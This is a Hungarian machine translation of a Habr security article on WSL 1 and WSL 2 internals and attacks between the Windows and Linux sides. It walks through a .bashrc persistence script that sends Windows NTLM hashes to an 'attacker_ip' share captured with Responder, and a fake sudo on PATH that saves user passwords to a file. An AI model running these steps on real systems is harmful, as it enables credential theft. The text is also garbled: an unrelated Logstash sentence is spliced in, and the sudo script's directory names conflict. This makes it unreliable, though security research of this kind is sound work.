WSL kísérletek. 1. rész

Helló, Habr! Októberben az OTUS elindít egy új kurzust. A Linux biztonságA kurzus kezdete előtt megosztunk veletek egy cikket, amelyet egyik oktatónk, Alekszandr Kolesznikov írt.

WSL kísérletek. 1. rész

2016-ban a Microsoft bemutatta az IT közösségnek az új WSL (WWindows SAlrendszer a LLinuxhoz), mely a jövőben lehetővé tette az eddig meg nem békülő konkurensek, a Windows és a Linux népszerűségért versengő operációs rendszerek egyesítését. Ez a technológia lehetővé tette, hogy a Linux operációs rendszer eszközeit Windows környezetben használhassuk anélkül, hogy Linuxot kellene futtatnunk, például a többszörös indítással (Multi-boot). A Habr-on rengeteg cikk található a WSL használatának előnyeiről. Sajnos azonban a cikk írásának időpontjában ezen a platformon nem találtunk a két operációs rendszer szimbiózisának biztonsági kutatásairól. Ez a bejegyzés megpróbálja ezt orvosolni. A cikk a WSL 1 és 2 architektúrájának sajátosságairól beszél, és néhány példát bemutat a rendszerek ellen irányuló támadásokra. A cikk két részre oszlik. Az első részben bemutatjuk a Linux és Windows oldaláról érkező támadások alapvető elméleti módszereit. A második rész a tesztkörnyezet beállítását és a támadások reprodukálását fogja tartalmazni.

WSL 1: az architektúra sajátosságai

A WSL biztonsági problémáiba való pontosabb betekintés érdekében meg kell határozni a rendszer alrendszerének megvalósításával kapcsolatos főbb szempontokat. A WSL által megoldott egyik fő felhasználói feladat a Linux rendszerek terminálon való működtetésének lehetősége egy Windows operációs rendszerű hoszton. Az általuk javasolt kompatibilitás annyira natív volt, hogy a Linux végrehajtható fájlok (ELF) közvetlenül futtathatók voltak a Windows rendszerben. E célok elérése érdekében a Windows 10-ben egy speciális alrendszert hoztak létre, amely lehetővé tette Linux alkalmazások futtatását egy adott rendszerhívások készlete segítségével — így megpróbálták a Linux syscall készlet térképezését elvégezni Windows-ra. Fizikailag új illesztőprogramok és új folyamatformátum hozzáadásával valósították meg. Láthatóan az architektúra így nézett ki:

WSL kísérletek. 1. rész

A Linux operációs rendszerrel való interakció lényegében több kernel-modul és speciális folyamatok — pico — révén lett megszervezve. A fenti ábrán látható, hogy a Linux példányban futó folyamatnak natívnak kell lennie, és ugyanazokat az erőforrásokat kell használnia, mint a Windows rendes alkalmazásai. De hogyan lehet ezt elérni? A projektben Drawbridge kialakították a Windows számára készült folyamatok koncepcióit, amelyek biztosították a működéshez szükséges operációs rendszer komponenseket (a verziójától függően) más OS alkalmazása számára.

Észrevéhetjük, hogy a javasolt absztrakció lehetővé tette, hogy ne a Microsoft Windows operációs rendszerre (amelyben a másik OS folyamata várható) összpontosítsunk, hanem egy általános megközelítést kínált.

Így bármely alkalmazás a pico folyamat belsejében működhetett, figyelmen kívül hagyva a Windows kernelt:

  1. A kompatibilitási és rendszerhívás-lefordítási problémákat speciális szolgáltatóknak kellett megoldaniuk;
  2. Ahozzáférés korlátozását a Biztonsági Monitoron keresztül kell megvalósítani. A monitor a kernelben helyezkedik el, ezért a Windows-nak szüksége volt egy új illesztőprogramra, amely szolgáltatóként működhetett az ilyen folyamatokhoz. A pico folyamat prototípusa az alábbiakban látható:

WSL kísérletek. 1. rész

Mivel a Linux fájlrendszere érzékeny a fájlok és könyvtárak nevére, a Windows-ban két fájlrendszert vezettek be a WSL működéséhez — VolFS és DriveFS. A VolFS a Linux fájlrendszerének implementációja, míg a DriveFS egy olyan fájlrendszer, amely Windows szabályai szerint működik, de lehetőséget biztosít a névérzékenység választására.

WSL 2

A WSL 1 számos korlátozással rendelkezett, amelyek megakadályozták, hogy a lehető legtöbb feladat megoldására használják; például hiányzott a 32 bites Linux alkalmazások indításának lehetősége, nem lehetett eszközmeghajtókat használni. Ezért 2020-ban megjelent a WSL 2, amely megváltoztatta a rendszerarchitektúra megközelítését. A WSL 2 egy optimalizált virtuális gép, amely a WSL 1 erőforrás-felhasználási jellemzőivel rendelkezik. Most, a Windows operációs rendszer felhasználója által megoldott problémák függvényében választható a szükséges Linux alrendszer verzió. A potenciális sebezhetőségek mérséklése érdekében a WSL 2 a Hyper-V alapjain lett létrehozva a Windows 10-ben. Ebben a formában a Windows izoláltan tudja futtatni a Linux operációs rendszer kernelét. Fontos megjegyezni, hogy a WSL 1-es verzió bétaverzióként került bemutatásra, amelynek célja volt a Windows fejlődésének irányának bemutatása ezen a területen, ezért a Hyper-V-re való áttérés elkerülhetetlen volt. A végeredmény architektúrája a következőképpen néz ki:

WSL kísérletek. 1. rész

Ebben a verzióban a Windows és Linux rendszerek magjainak saját erőforrásaik vannak, és az átfedés csak a fájlrendszerben létezik, ám ezt az átfedést nem lehet teljesnek nevezni. A fájlrendszerek közötti interakció a 9P protokollon működő kliens-szerver burkolaton keresztül valósul meg.

Jelenleg a Microsoft lehetőséget biztosít a WSL 1 és WSL 2 közötti váltásra. Mindkét verzió használatra elérhető.

WSL biztonság

Jelenleg több munkálat is létezik, amelyek a legitim operációs rendszer eszközeinek felhasználásával kapcsolatos támadási megközelítéseket írják le az alrendszerek közötti interakcióra. Ezeket a forgatókönyveket fogjuk használni a támadások aktuális relevanciájának ellenőrzésére a cikk írásának időpontjában. A támadások és a végrehajtásuk általános listája:

1. Fájlrendszer implementálása: hozzáférési jogok, közös könyvtárak/adatcsere mechanizmusok megléte.

Kutatásokat végeztek a hozzáférési szabályok megsértésének vizsgálatára Linux FS->Windows FS, Windows FS->Linux FS. A vizsgálatok azt mutatták, hogy lehetőség van egy adott fájl módosítására a cél operációs rendszerben. Továbbá kísérleteket végeztek hamisítással, duplikálások létrehozásával és a fájlrendszerek egyes részeinek törlésével.

Forgatókönyv:

  • A. Támadás a Windows operációs rendszerről – fájlok módosítása az /etc könyvtárból a Linux operációs rendszerben.
  • B. Támadás a Linux operációs rendszerről – fájlok módosítása a következő könyvtárakban: C:Windows, , Logstash nem fog normálisan elindulni. Ezután módosítani kell a fájlt, C:Users

2. Hálózati verem megvalósítása.

A kutatások a Linux operációs rendszerből a Windowsra irányuló támadások példáin alapultak. A hálózati verem működésének sajátosságait használták, nevezetesen különböző erőforrások autentikálási mechanizmusait.

Forgatókönyv:

  • Hozzáférés nyitása egy porthoz, amely a Windows rendszerben foglalt.
  • Port megnyitása megfelelő jogosultságok hiányában.
  • Reverse shell indítása elf fájl használatával Windows operációs rendszeren.

3. Káros szoftverek indításának elrejtése a WSL alrendszer segítségével.

A kutatások egy egyszerű tényre épültek — a védelmi alrendszerek nem képesek másik mag eventjeit elfogni, amely legitim szolgáltatón keresztül működik az operációs rendszerben WSL 1 esetén. WSL 2 esetén nincs lehetőség megnézni a különféle eseményeket, amelyek egy külön magban zajlanak egy könnyű virtuális gép keretében.

Forgatókönyv:

1) Távoli hozzáférésre szolgáló alkalmazás indítása és a naplózott események megtekintése.

WSL 1 kísérletek: hash elfogása (Windows OS)

Végre eljutottunk a gyakorlati részhez. Először is be kell állítani a tesztelési környezetet. Minden kísérletet egy Windows 10 2004 operációs rendszerrel rendelkező standon fognak végezni. A WSL számára az Ubuntu 18.04 operációs rendszer képe lett kiválasztva. A kép véletlenszerűen lett kiválasztva, és bármely más is megfelelően működik. A stand beállításához szükséges parancsok:

Először is futtatni kell memóriába a rendszergazdai jogosultsággal.

WSL 1 esetén a következő parancsokat kell végrehajtani:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #WSL funkció engedélyezése
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Linux kép letöltése a Microsoft Store-ból

  • Ubuntu.appx install —root #A kép telepítése
  • Előfordulhat, hogy át kell kattintani a telepítési folyamaton, és létre kell hozni egy új felhasználót, amely kevesebb joggal rendelkezik, mint a root. A tesztjeinkhez ez egy normál felhasználó, sam lesz.
  • Restart-Computer #Újraindítás
  • Az újraindítás után a standon ki lehet adni a bash parancsot. Ha minden rendben van, akkor a Windows konzolban körülbelül ilyen kimenetet fog látni:

    WSL kísérletek. 1. rész

    A támadó gépként Kali Linux disztribúciót fogunk használni, minden gépnek ugyanabban a helyi hálózatban kell lennie.

    Tegyük fel, hogy van nem privilegizált hozzáférésünk a WSL-hez egy Windows gépen. Próbáljunk meg támadást végrehajtani a Linux operációs rendszeren, parancsot végrehajtva a Linuxból. A támadás megvalósításához egy egyszerű automatikus indítási technikát fogunk alkalmazni — hozzáadjuk a szkriptünket a Linux környezethez végrehajtásra. Ehhez módosítanunk kell egy fájlt. .bashrc.

    A WSL-lel rendelkező gépen futtatjuk:

    	1. bash
    	2. Navigálj a felhasználó otthoni könyvtárába: cd /home/sam/
    	3. echo " /home/sam/.attack.sh" >> .bashrc
    	4. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1 >> .attack.sh
    	5. chmod u+x .attack.sh
    	6. exit

    A Kali Linux gépen futtatjuk:

    1. Responder -I eth0 -rdvw

    A Windows gépen elindítjuk a bash-t.

    Várjuk az eredményt a Kali Linux gépen:

    WSL kísérletek. 1. rész

    Így Windows felhasználói hash-eket szereztünk a WSL rendszeren keresztül, parancs végrehajtásával a Linux rendszeren.

    WSL 1 kísérletek: felhasználói jelszó megszerzése (Linux OS)

    Egy újabb kísérletet fogunk végezni. Ennek a tesztnek a keretében kiegészítjük a fájlt .bashrc néhány parancs hozzáadásával, hogy megszerezzük a Linux operációs rendszer felhasználójának jelszavát.

    Indítsuk el a bash-t, és írjuk be a következő parancsokat:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    A támadás sikeres végrehajtásához szükséges, hogy Sam felhasználó a Linux termináljában meghívja a sudót. Ekkor a Linux operációs rendszer felhasználójának jelszava a fájlban fog megjelenni. pass.txt:

    WSL kísérletek. 1. rész

    A támadások megvalósítása kizárólag elméleti tájékoztatás céljából történt.

    A cikk következő részében a 9P protokoll megvalósítását, egy szkenner létrehozását, valamint egy támadást fogunk bemutatni e protokoll segítségével.

    Felhasznált irodalom

    WSL kísérletek. 1. rész

    További olvasás

    Forrás: habr.com

    Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster